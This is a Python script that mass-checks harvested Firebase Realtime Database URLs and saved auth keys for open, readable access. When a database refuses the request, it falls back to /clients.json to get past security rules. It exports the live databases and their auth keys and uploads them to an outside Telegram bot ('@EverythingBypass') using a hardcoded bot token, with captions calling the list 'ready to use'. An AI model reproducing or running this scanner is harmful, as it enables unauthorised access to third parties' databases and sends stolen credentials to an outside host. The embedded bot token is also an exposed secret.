import aiohttp
import asyncio
import json
import re
from datetime import datetime
from pathlib import Path

collected = {}
col_path = Path("data/collected_firebases.json")
if col_path.exists():
    with open(col_path) as f:
        collected = json.load(f)

users_dir = Path("data/users")
urls_with_auth = {}

def clean_url(raw):
    u = str(raw or "").strip()
    u = re.sub(r"^https?://", "", u)
    u = u.split("?")[0].split("#")[0].split("/")[0].strip()
    return u

for raw_url in collected:
    domain = clean_url(raw_url)
    if "firebase" in domain and ("firebaseio.com" in domain or "firebasedatabase.app" in domain):
        if domain not in urls_with_auth:
            urls_with_auth[domain] = {"auth": "", "source": "collected"}

for u in users_dir.glob("*.json"):
    try:
        with open(u) as f:
            d = json.load(f)
            fbs = d.get("saved_firebases", {}) or {}
            auths = d.get("saved_firebase_auths", {}) or {}
            for name, url in fbs.items():
                domain = clean_url(url)
                if "firebase" in domain and ("firebaseio.com" in domain or "firebasedatabase.app" in domain):
                    if domain not in urls_with_auth:
                        urls_with_auth[domain] = {"auth": auths.get(name, ""), "source": u.stem}
                    elif not urls_with_auth[domain]["auth"] and auths.get(name):
                        urls_with_auth[domain]["auth"] = auths.get(name)
    except Exception:
        pass

print(f"Checking {len(urls_with_auth)} Firebase domains for HTTP 200 status...")

sem = asyncio.Semaphore(60)

async def check_domain(session, domain, info):
    auth = info.get("auth", "")
    base_url = f"https://{domain}"
    timeout = aiohttp.ClientTimeout(total=6)
    
    # Try 1: /.json?shallow=true
    test_url = f"{base_url}/.json?shallow=true"
    if auth:
        test_url += f"&auth={auth}"
    
    async with sem:
        try:
            async with session.get(test_url, timeout=timeout) as resp:
                if resp.status == 200:
                    try:
                        data = await resp.json()
                        keys_cnt = len(data) if isinstance(data, dict) else (1 if data is not None else 0)
                    except Exception:
                        keys_cnt = 0
                    return domain, 200, auth, keys_cnt
                
                # If 401 and no auth, try clients.json (some security rules only allow /clients)
                if resp.status in (401, 403):
                    try:
                        async with session.get(f"{base_url}/clients.json", timeout=timeout) as resp2:
                            if resp2.status == 200:
                                try:
                                    cdata = await resp2.json()
                                    c_cnt = len(cdata) if isinstance(cdata, dict) else 0
                                except Exception:
                                    c_cnt = 0
                                return domain, 200, auth, c_cnt
                    except Exception:
                        pass
                return domain, resp.status, auth, 0
        except Exception:
            return domain, -1, auth, 0

async def main():
    connector = aiohttp.TCPConnector(limit=100, ssl=False)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [check_domain(session, d, info) for d, info in urls_with_auth.items()]
        results = await asyncio.gather(*tasks)
    
    live_200 = []
    status_counts = {}
    for domain, status, auth, keys_cnt in results:
        status_counts[status] = status_counts.get(status, 0) + 1
        if status == 200:
            live_200.append({
                "url": f"https://{domain}",
                "domain": domain,
                "auth_key": auth,
                "keys_or_devices": keys_cnt,
                "source": urls_with_auth[domain]["source"]
            })
    
    print("Status code breakdown:")
    for code, cnt in sorted(status_counts.items(), key=lambda x: str(x[0])):
        print(f"  Status {code}: {cnt}")
    
    print(f"\nTotal Status 200 Unique Firebases: {len(live_200)}")
    
    # Save files
    ts = datetime.now().strftime("%Y%m%d_%H%M%S")
    export_dir = Path("data/exports")
    export_dir.mkdir(parents=True, exist_ok=True)
    json_path = export_dir / f"firebases_status_200_{ts}.json"
    txt_path = export_dir / f"firebases_status_200_{ts}.txt"
    
    with open(json_path, "w", encoding="utf-8") as f:
        json.dump({
            "total_checked": len(urls_with_auth),
            "total_status_200": len(live_200),
            "checked_at": datetime.now().isoformat(),
            "status_200_firebases": live_200
        }, f, indent=2, ensure_ascii=False)
        
    with open(txt_path, "w", encoding="utf-8") as f:
        for item in live_200:
            auth_val = item.get("auth_key")
            auth_part = f" (Auth: {auth_val})" if auth_val else ""
            f.write(f"{item['url']}{auth_part}\n")
            
    print(f"Saved JSON: {json_path} ({json_path.stat().st_size} bytes)")
    print(f"Saved TXT: {txt_path} ({txt_path.stat().st_size} bytes)")

    # Send to Telegram @EverythingBypass
    TOKEN = "8847166684:AAHt-oFjoSySoAgl3xZHPh9GpohgOsM8R4Q"
    CHAT_ID = 7530834373

    async def send_file(session, file_path, caption):
        url = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
        with open(file_path, "rb") as f:
            data = aiohttp.FormData()
            data.add_field("chat_id", str(CHAT_ID))
            data.add_field("caption", caption, content_type="text/plain")
            data.add_field("parse_mode", "Markdown")
            data.add_field("document", f, filename=file_path.name)
            async with session.post(url, data=data) as resp:
                return await resp.json()

    async with aiohttp.ClientSession() as send_session:
        cap_json = (
            "✅ **STATUS 200 FIREBASES (JSON)**\n"
            "━━━━━━━━━━━━━━━\n"
            f"🟢 **Live Status 200 Unique:** `{len(live_200)}`\n"
            f"🔍 **Total Checked:** `{len(urls_with_auth)}`\n"
            "━━━━━━━━━━━━━━━\n"
            "🛠 Filtered Live Databases"
        )
        res1 = await send_file(send_session, json_path, cap_json)
        print("Telegram JSON send result:", res1.get("ok"), res1.get("description", ""))

        cap_txt = (
            "📋 **STATUS 200 FIREBASE URLS (TXT)**\n"
            "━━━━━━━━━━━━━━━\n"
            f"🟢 **Count:** `{len(live_200)} Live Firebases`\n"
            "📝 All active Status 200 URLs ready to use.\n"
            "━━━━━━━━━━━━━━━\n"
            "🛠 Filtered Live Databases"
        )
        res2 = await send_file(send_session, txt_path, cap_txt)
        print("Telegram TXT send result:", res2.get("ok"), res2.get("description", ""))

if __name__ == "__main__":
    asyncio.run(main())
